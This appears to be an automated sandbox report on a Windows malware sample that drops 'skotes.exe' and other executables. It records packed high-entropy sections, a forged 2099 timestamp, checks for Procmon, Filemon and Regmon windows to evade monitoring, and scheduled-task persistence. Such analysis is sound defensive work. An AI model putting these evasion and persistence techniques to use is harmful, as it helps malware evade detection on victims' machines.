Source:	Binary string: wkernel32.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631541787.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631683602.0000000005320000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635127470.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635029460.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, d3ba7fdf70.exe, 00000012.00000000.2647211913.0000000000A72000.00000002.00000001.01000000.00000010.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a40000.0.unpack :EW;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.900000.0.unpack :EW;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.900000.0.unpack :EW;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rthlggth:EW;nxbvpcfa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Unpacked PE file: 12.2.7349a3c308.exe.510000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Unpacked PE file: 13.2.63ebe314bb.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ptoytgwv:EW;lvwbjizx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ptoytgwv:EW;lvwbjizx:EW;.taggant:EW;

Source: random[1].exe.5.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x1f5867 should be: 0x1ed371
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 7349a3c308.exe.5.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: d3ba7fdf70.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: random[1].exe2.5.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: 2f3190c49d.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 26539a5c18.exe.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: 85e92d03ea.exe.5.dr	Static PE information: real checksum: 0x450822 should be: 0x1b6eb2
Source: random[2].exe1.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: file.exe	Static PE information: real checksum: 0x2e7153 should be: 0x2e0023
Source: 44098beb09.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[2].exe2.5.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e7153 should be: 0x2e0023
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x450822 should be: 0x1b6eb2
Source: e90a98cf1a.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: 63ebe314bb.exe.5.dr	Static PE information: real checksum: 0x1f5867 should be: 0x1ed371

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rthlggth
Source: file.exe	Static PE information: section name: nxbvpcfa
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: rthlggth
Source: skotes.exe.0.dr	Static PE information: section name: nxbvpcfa
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: upzhrybt
Source: random[2].exe.5.dr	Static PE information: section name: ibjofqmg
Source: random[2].exe.5.dr	Static PE information: section name: .taggant
Source: 85e92d03ea.exe.5.dr	Static PE information: section name:
Source: 85e92d03ea.exe.5.dr	Static PE information: section name: .idata
Source: 85e92d03ea.exe.5.dr	Static PE information: section name:
Source: 85e92d03ea.exe.5.dr	Static PE information: section name: upzhrybt
Source: 85e92d03ea.exe.5.dr	Static PE information: section name: ibjofqmg
Source: 85e92d03ea.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe0.5.dr	Static PE information: section name: tzuttanx
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 7349a3c308.exe.5.dr	Static PE information: section name:
Source: 7349a3c308.exe.5.dr	Static PE information: section name: .idata
Source: 7349a3c308.exe.5.dr	Static PE information: section name:
Source: 7349a3c308.exe.5.dr	Static PE information: section name: xnuzvlhe
Source: 7349a3c308.exe.5.dr	Static PE information: section name: tzuttanx
Source: 7349a3c308.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: ptoytgwv
Source: random[1].exe1.5.dr	Static PE information: section name: lvwbjizx
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: 63ebe314bb.exe.5.dr	Static PE information: section name:
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: .idata
Source: 63ebe314bb.exe.5.dr	Static PE information: section name:
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: ptoytgwv
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: lvwbjizx
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: .idata
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: uzxdwyvi
Source: random[2].exe1.5.dr	Static PE information: section name: efzdldig
Source: random[2].exe1.5.dr	Static PE information: section name: .taggant
Source: 26539a5c18.exe.5.dr	Static PE information: section name:
Source: 26539a5c18.exe.5.dr	Static PE information: section name: .idata
Source: 26539a5c18.exe.5.dr	Static PE information: section name:
Source: 26539a5c18.exe.5.dr	Static PE information: section name: uzxdwyvi
Source: 26539a5c18.exe.5.dr	Static PE information: section name: efzdldig
Source: 26539a5c18.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5D91C push ecx; ret	0_2_00A5D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A51359 push es; ret	0_2_00A5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0091D91C push ecx; ret	1_2_0091D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00950001 push cs; ret	5_2_00950002
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00950003 push cs; ret	5_2_00950006
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0091D91C push ecx; ret	5_2_0091D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0093DEDB push ss; iretd	5_2_0093DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0091DFC6 push ecx; ret	5_2_0091DFD9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D810 push eax; mov dword ptr [esp], 707F7E0Dh	10_2_0043D812
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00443469 push ebp; iretd	10_2_0044346C
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0044366E push 9F00CD97h; ret	10_2_004436B1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043AE30 push eax; mov dword ptr [esp], 1D1E1F10h	10_2_0043AE3E
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004477A5 push ebp; iretd	10_2_004477AA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F275A5 push es; ret	12_3_00F275EB
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F275A5 push es; ret	12_3_00F275EB
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F27F7D pushad ; retf 006Dh	12_3_00F27FBA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F27F7D pushad ; retf 006Dh	12_3_00F27FBA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F24250 push eax; retf	12_3_00F24251
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F2A245 push 7000F0AAh; ret	12_3_00F2A251
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F2A245 push 7000F0AAh; ret	12_3_00F2A251
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C295 push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C295 push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C264 push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C264 push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C21D push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F3C21D push edi; retf	12_3_00F3C3BA
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00F1883F push ds; ret	12_3_00F18852
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEBCAF push ds; retf	12_3_00EEBCB0
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEBCAF push ds; retf	12_3_00EEBCB0
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEDF79 push ebp; iretd	12_3_00EEDF7A
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEDF79 push ebp; iretd	12_3_00EEDF7A

Source: file.exe	Static PE information: section name: entropy: 7.982867269423114
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.982867269423114
Source: e90a98cf1a.exe.5.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: random[1].exe0.5.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe0.5.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: 7349a3c308.exe.5.dr	Static PE information: section name: entropy: 7.983709808349382
Source: 7349a3c308.exe.5.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[1].exe1.5.dr	Static PE information: section name: entropy: 7.984106746498301
Source: random[1].exe1.5.dr	Static PE information: section name: ptoytgwv entropy: 7.952109868158001
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: entropy: 7.984106746498301
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: ptoytgwv entropy: 7.952109868158001
Source: random[2].exe1.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[2].exe1.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: 26539a5c18.exe.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: 26539a5c18.exe.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[2].exe2.5.dr	Static PE information: section name: .text entropy: 7.73440914387992

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018352001\85e92d03ea.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	File created: C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
